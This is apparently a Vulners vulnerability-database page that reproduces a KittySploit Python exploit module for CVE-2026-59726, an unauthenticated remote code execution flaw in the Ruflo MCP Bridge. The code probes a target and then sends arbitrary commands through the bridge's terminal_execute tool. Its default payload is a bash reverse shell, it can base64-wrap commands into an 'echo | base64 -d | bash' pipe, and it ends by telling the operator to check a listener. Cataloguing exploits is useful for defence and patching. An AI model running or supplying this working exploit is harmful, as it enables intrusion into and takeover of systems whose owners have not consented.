Lucene search
+L

Ruflo MCP Bridge CVE-2026-59726 unauthenticated RCE

🗓️ 12 Nov 2026 22:54:01Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 14 Views

Unauthenticated RCE in Ruflo MCP Bridge via JSON-RPC tools/call to ruflo__terminal_execute.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-59726
30 Jul 202601:23
–githubexploit
attackerkb
attackerkb
CVE-2026-59726
9 Jul 202617:31
–attackerkb
circl
Circl
CVE-2026-59726
9 Jul 202618:26
–circl
cve
CVE
CVE-2026-59726
9 Jul 202617:31
–cve
cvelist
Cvelist
CVE-2026-59726 Ruflo: Unauthenticated RCE in MCP bridge default docker-compose deployment
9 Jul 202617:31
–cvelist
exploitdb
Exploit DB
Ruflo MCP Bridge 3.16.2 - Remote Code Execution
11 Nov 202600:00
–exploitdb
euvd
EUVD
EUVD-2026-42656
9 Jul 202617:31
–euvd
kitploit
Kitploit
CVE-2026-59726
15 Nov 202604:47
–kitploit
kittysploit
KittySploit
Ruflo MCP Bridge CVE-2026-59726 detect
12 Nov 202622:54
–kittysploit
mend
Mend
CVE-2026-59726
9 Jul 202617:31
–mend
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ruflo MCP Bridge unauthenticated terminal RCE (CVE-2026-59726, RufRoot)."""

import base64

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from modules.scanner.http.ruflo_mcp_cve_2026_59726_detect import Ruflo_mcp_bridge

_DEFAULT_MCP_PATH = "/mcp/devtools"
_TERMINAL_TOOL = "ruflo__terminal_execute"


class Module(Exploit, Http_client, Ruflo_mcp_bridge):
    __info__ = {
        "name": "Ruflo MCP Bridge CVE-2026-59726 unauthenticated RCE",
        "description": (
            "CVE-2026-59726 (RufRoot): Ruflo MCP Bridge before 3.16.3 allows unauthenticated "
            "JSON-RPC tools/call to ruflo__terminal_execute for arbitrary command execution."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-59726"],
        "platform": Platform.LINUX,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-59726",
        ],
        "tags": [
            "mcp",
            "ruflo",
            "rufroot",
            "rce",
            "unauthenticated",
            "cwe-306",
            "cve-2026-59726",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce"],
            "requires": {
                "endpoint_pattern_any": ["/mcp/devtools"],
                "tech_hints_any": ["mcp", "ruflo"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": _TERMINAL_TOOL},
                    {"capability": "shell", "from_detail": ""},
                ],
                "suggested_followups": [
                    "scanner/http/ruflo_mcp_cve_2026_59726_detect",
                ],
            },
        },
    }

    port = OptPort(3001, "Ruflo MCP bridge port (default 3001)", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    mcp_path = OptString(_DEFAULT_MCP_PATH, "MCP JSON-RPC path", False, advanced=True)
    wrap_base64 = OptBool(
        True,
        "Wrap payload: echo <b64> | base64 -d | bash",
        required=False,
    )
    verify_only = OptBool(
        False,
        "Only run id && hostname (no payload dispatch)",
        required=False,
        advanced=True,
    )

    def check(self):
        health = self.ruflo_health()
        if not self.ruflo_is_bridge(health):
            return {
                "vulnerable": False,
                "reason": "MCP bridge /health did not report mcp-bridge",
                "confidence": "low",
            }

        names = self.ruflo_tools_list()
        if self.TERMINAL_TOOL not in names:
            return {
                "vulnerable": False,
                "reason": f"{self.TERMINAL_TOOL} not in unauthenticated tools/list",
                "confidence": "medium",
            }

        output = self.ruflo_terminal_execute("id", rid=3)
        if "uid=" not in output:
            return {
                "vulnerable": True,
                "reason": (
                    f"{self.TERMINAL_TOOL} present; command probe inconclusive "
                    "(may still execute async payloads)"
                ),
                "confidence": "medium",
            }
        return {
            "vulnerable": True,
            "reason": f"Unauthenticated RCE confirmed: {output.splitlines()[0]}",
            "confidence": "high",
        }

    def run(self):
        print_status("CVE-2026-59726 — Ruflo MCP Bridge (RufRoot) unauthenticated RCE")
        print_info(f"Target: {self.target}:{int(self.port)}{self.ruflo_jsonrpc_path()}")

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason") or "Target does not appear vulnerable")
            self.not_vulnerable()
            return False
        print_success(chk.get("reason") or "Vulnerability confirmed")

        if self.verify_only:
            output = self.ruflo_terminal_execute("id && hostname", rid=4)
            if output:
                print_info(output[:800])
            self.vulnerable()
            return True

        manual = str(self.shell_from_payload() or "").strip()
        if manual:
            command = manual
        else:
            command = str(self.payload or "").strip()
        if not command:
            print_error("No payload or command specified")
            return False

        if self.wrap_base64:
            encoded = base64.b64encode(command.encode()).decode()
            command = f"echo {encoded} | base64 -d | bash"

        print_status(f"Dispatching via {self.TERMINAL_TOOL} ({len(command)} bytes)...")
        output = self.ruflo_terminal_execute(command, rid=5)
        if output:
            print_info(f"Tool output: {output[:500]}")

        print_success("Payload dispatched — check your listener")
        self.vulnerable()
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Nov 2026 22:54Current
6.7Medium risk
Vulners AI Score6.7
CVSS 3.110
EPSS0.06244
SSVC
14